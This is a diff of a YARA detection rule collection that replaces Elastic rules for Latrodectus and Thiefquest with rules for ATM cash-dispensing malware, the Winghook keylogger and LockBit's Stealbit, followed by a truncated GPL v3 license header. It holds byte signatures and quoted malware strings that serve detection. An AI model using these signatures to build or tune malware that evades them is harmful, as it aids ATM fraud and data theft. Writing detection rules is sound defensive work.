+		$MyAgent1 = "javaagentsdemo/ClassListingTransformer.class" ascii fullword
+		$MyAgent2 = "javaagentsdemo/MyUtils.class" ascii fullword
+		$MyAgent3 = "javaagentsdemo/SimplestAgent.class" ascii fullword
+		$Hook = "### [HookAPI]: Switching context!" fullword ascii
+		$Delphi = "Borland\\Delphi\\RTL" fullword ascii
+		$WMIHOOK1 = "TPM_SK.DLL" fullword ascii
+		$WMIHOOK2 = "GetPCData" fullword ascii
+		$WMIHOOK3 = {60 9C A3 E4 2B 41 00 E8 ?? ?? ?? ?? 9D 61 B8 02 00 00 00 C3}
+		$TRICK1 = "USERAUTH.DLL" fullword ascii
+		$TRICK2 = "GetAllSticksByID" fullword ascii
+		$TRICK3 = {6A 06 8B 45 FC 8B 00 B1 4F BA 1C 00 00 00}
 
 	condition:
-		all of them
+		( uint16(0)==0x4b50 and filesize <50KB and all of ($MyAgent*)) or ( uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and $Hook and $Delphi and all of ($WMIHOOK*) or all of ($TRICK*))
 }
-rule ELASTIC_Windows_Trojan_Latrodectus_841Ff697 : FILE MEMORY
+import "hash"
+
+rule R3C0NST_ATM_Malware_Dispenserxfs : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Latrodectus (Windows.Trojan.Latrodectus)"
-		author = "Elastic Security"
-		id = "841ff697-f389-497a-b813-3b9e19cba26e"
-		date = "2024-03-13"
-		modified = "2024-05-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Latrodectus.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"
-		logic_hash = "aa1a4813a18b4eb4f07e805ff9c87523ad74f59c0ed538212918335eaeee29d7"
+		description = "No description has been set in the source file - R3c0nst"
+		author = "Frank Boldewin"
+		id = "52b1aa57-283b-54d7-bd1b-fb5da5f8d269"
+		date = "2019-02-28"
+		modified = "2019-02-28"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispenserXFS.yar#L3-L13"
+		license_url = "N/A"
+		logic_hash = "0e588e2ba03d5eb750183600cce278e791a71f86fbf933ba9d7fda352bd37e2f"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8f095e7909860471e2702b247f4cefa694b698c236e67844ef0b0b7714518a18"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 59
+		tags = "FILE"
 
 	strings:
-		$Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
-		$crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
-		$delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
-		$Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
-		$handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
-		$hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
-		$string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
-		$campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
+		$Code_Bytes = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
+		$XFSKILL = "injected mxsfs killer into" nocase ascii wide
+		$PDB = "C:\\_bkittest\\dispenser\\Release_noToken\\dispenserXFS.pdb" nocase ascii wide
 
 	condition:
-		2 of them
+		(hash.sha256(0, filesize )=="867991ade335186baa19a227e3a044c8321a6cef96c23c98eef21fe6b87edf6a") or ( uint16(0)==0x5A4D and 1 of them )
 }
-rule ELASTIC_Windows_Hacktool_Capcom_7Abae448 : FILE
+rule R3C0NST_UNC2891_Winghook : FILE
 {
 	meta:
-		description = "Subject: CAPCOM Co.,Ltd."
-		author = "Elastic Security"
-		id = "7abae448-0ebc-433f-b368-0b8560da7197"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Capcom.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24"
-		logic_hash = "88f25c479cc8970e05ef9d08143afbbbfa17322f34379ba571e3a09105b33ee0"
+		description = "Detects UNC2891 Winghook Keylogger"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "e5955fa0-8204-58e3-88a6-de4b47756ede"
+		date = "2022-03-30"
+		modified = "2023-01-05"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Winghook.yar#L1-L17"
+		license_url = "N/A"
+		logic_hash = "b821d0809a91c54d06764f5a04c458ec7190b41823b2fe65d198342715f22050"
 		score = 75
-		quality = 75
+		quality = 90
 		tags = "FILE"
-		fingerprint = "965e85fc3b2a21aef84c7c2bd59708b121d9635ce6bab177014b28fb00102884"
-		threat_name = "Windows.Hacktool.Capcom"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		hash1 = "d071ee723982cf53e4bce89f3de5a8ef1853457b21bffdae387c4c2bd160a38e"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 43 41 50 43 4F 4D 20 43 6F 2E 2C 4C 74 64 2E }
+		$code1 = {01 F9 81 E1 FF 00 00 00 41 89 CA [15] 44 01 CF 81 E7 FF 00 00 00}
+		$code2 = {83 E2 0F 0F B6 14 1? 32 14 01 88 14 0? 48 83 ?? ?? 48 83 ?? ?? 75}
+		$str1 = "fgets" ascii
+		$str2 = "read" ascii
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		uint32(0)==0x464c457f and filesize <100KB and 1 of ($code*) and all of ($str*)
 }
-rule ELASTIC_Macos_Trojan_Thiefquest_9130C0F3 : FILE MEMORY
+import "pe"
+
+rule R3C0NST_ATM_Malware_ATMITCH : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "9130c0f3-5926-4153-87d8-85a591eed929"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bed3561210e44c290cd410adadcdc58462816a03c15d20b5be45d227cd7dca6b"
-		logic_hash = "20e9ea15a437a17c4ef68f2472186f6d1ab3118d5b392f84fcb2bd376ec3863a"
+		description = "Detects ATM Malware ATMItch"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "4d7e9615-9db6-5fc7-b95e-b8c7b2c034a8"
+		date = "2019-03-18"
+		modified = "2019-03-18"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ATMItch.yar#L3-L14"
+		license_url = "N/A"
+		logic_hash = "4278cbcd8c465ba57b65a166e0bd48dcc73eae8660972478d3116bc0d73cf3c4"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "38916235c68a329eea6d41dbfba466367ecc9aad2b8ae324da682a9970ec4930"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 82
+		tags = "FILE"
 
 	strings:
-		$a1 = "heck_if_targeted" ascii fullword
-		$a2 = "check_command" ascii fullword
-		$a3 = "askroot" ascii fullword
-		$a4 = "iv_rescue_data" ascii fullword
+		$STRING1 = "SCREEN and think what does you DO" nocase ascii wide
+		$STRING2 = "Receive CASH UNIT info first, then LOOK on" nocase ascii wide
+		$STRING3 = "Unknown command mnemonic, check it and repeat again" nocase ascii wide
+		$STRING4 = "Catch some money, bitch!" nocase ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and 1 of them ) or (pe.imphash()=="655ad5439db0832c5a3f86d0a68ddaac")
 }
-rule ELASTIC_Macos_Trojan_Thiefquest_Fc2E1271 : FILE MEMORY
+import "hash"
+
+rule R3C0NST_ATM_Malware_NVISOSPIT : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "fc2e1271-3c96-4c93-9e3d-212782928e6e"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L24-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
-		logic_hash = "a20c76e53874fc0fec5fd2660c63c6f1e7c1b2055cbd2a9efdfd114cd6bdda5c"
+		description = "Detects ATM Malware NVISOSPIT"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "faf9e78e-9d7a-5c9b-a08e-90b895333d5c"
+		date = "2019-05-31"
+		modified = "2019-05-31"
+		reference = "https://twitter.com/r3c0nst/status/1134403094157115392"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.NVISOSPIT.yar#L3-L18"
+		license_url = "N/A"
+		hash = "d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f"
+		logic_hash = "11c1fea74b72a7821ce76a95846a2caff7354e71906496d9530cb44339a49a98"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "195e8f65e4ea722f0e1ba171f2ad4ded97d4bc97da38ef8ac8e54b8719e4c5ae"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 90
+		tags = "FILE"
 
 	strings:
-		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 30 30 30 42 67 7B 30 30 }
+		$MalwareName = "NVISOSPIT" ascii fullword
+		$DispenseCommand = "Calling WFSExecute() to dispense $%d" fullword ascii
+		$Code = {C6 85 7D F9 FF FF 4D C6 85 7E F9 FF FF 4D C6 85 7F F9 FF FF 4B}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize <100KB and 2 of them
 }
-rule ELASTIC_Macos_Trojan_Thiefquest_86F9Ef0C : FILE MEMORY
+rule R3C0NST_ATM_Malware_Javadispcash : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "86f9ef0c-832e-4e4a-bd39-c80c1d064dbe"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L44-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59fb018e338908eb69be72ab11837baebf8d96cdb289757f1f4977228e7640a0"
-		logic_hash = "426d533d39e594123f742b15d0a93ded986b9b308685f7b2cfaf5de0b32cdbff"
+		description = "Detects ATM Malware JavaDispCash"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "606d1cb6-7879-569e-ac36-1e2f6a446dc1"
+		date = "2019-03-28"
+		modified = "2019-03-28"
+		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Mal.JavaDispCash.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "dd7c2ccc85038f3ba563f7f814c03668448b292fde36bcf9d06bf20fd341526f"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e8849628ee5449c461f1170c07b6d2ebf4f75d48136f26b52bee9bcf4e164d5b"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 74
+		tags = "FILE"
+		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
+		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
 
 	strings:
-		$a = { 6C 65 31 6A 6F 57 4E 33 30 30 30 30 30 33 33 00 30 72 7A 41 43 47 33 57 72 7C }
+		$CashInfo = "getNumberOfCashUnits" nocase ascii wide
+		$Dispense = "waitforbillstaken" nocase ascii wide
+		$Inject = "No code to inject!" nocase ascii wide
+		$config = ".Agentcli" nocase ascii wide
+		$log1 = "logft.log" nocase ascii wide
+		$log2 = ".loginside" nocase ascii wide
 
 	condition:
-		all of them
+		uint16(0)==0x4B50 and filesize <500KB and all of them
 }
-rule ELASTIC_Macos_Trojan_Thiefquest_40F9C1C3 : FILE MEMORY
+rule R3C0NST_Stealbit : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
-		author = "Elastic Security"
-		id = "40f9c1c3-29f8-4699-8f66-9b7ddb08f92d"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Thiefquest.yar#L64-L82"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e402063ca317867de71e8e3189de67988e2be28d5d773bbaf75618202e80f9f6"
-		logic_hash = "546edc2d6d715eac47e7a8d3ceb91cf314fa6dbee04f0475a5c4a84ba53fd722"
+		description = "Detects Stealbit used by Lockbit 2.0 Ransomware Gang"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "07b466cb-92b3-51f2-a702-2930bb7038c6"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Lockbit2.Stealbit.yar"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Lockbit2.Stealbit.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "e5f770cc5887f09af0c5550073d51b9e5ffa9dcfa4db6b77bb28643f0f6224fb"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "27ec200781541d5b1abc96ffbb54c428b773bffa0744551bbacd605c745b6657"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 90
+		tags = "FILE"
+		hash1 = "3407f26b3d69f1dfce76782fee1256274cf92f744c65aa1ff2d3eaaaf61b0b1d"
+		hash2 = "bd14872dd9fdead89fc074fdc5832caea4ceac02983ec41f814278130b3f943e"
+
+	strings:
+		$C2Decryption = {33 C9 8B C1 83 E0 0F 8A 80 ?? ?? ?? ?? 30 81 ?? ?? ?? ?? 41 83 F9 7C 72 E9 E8}
+
+	condition:
+		uint16(0)==0x5A4D and filesize <100KB and $C2Decryption
+}
+/*
+ * YARA Rule Set
+ * Repository Name: CAPE
+ * Repository: https://github.com/kevoreilly/CAPEv2
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 925ba96aba58057b1d1bae119063fdf41bc0c506
+ * Number of Rules: 97
+ * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * Cuckoo Sandbox is copyrighted by the Cuckoo Foundation and is licensed under
+the following GNU General Public License version 3.
+
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
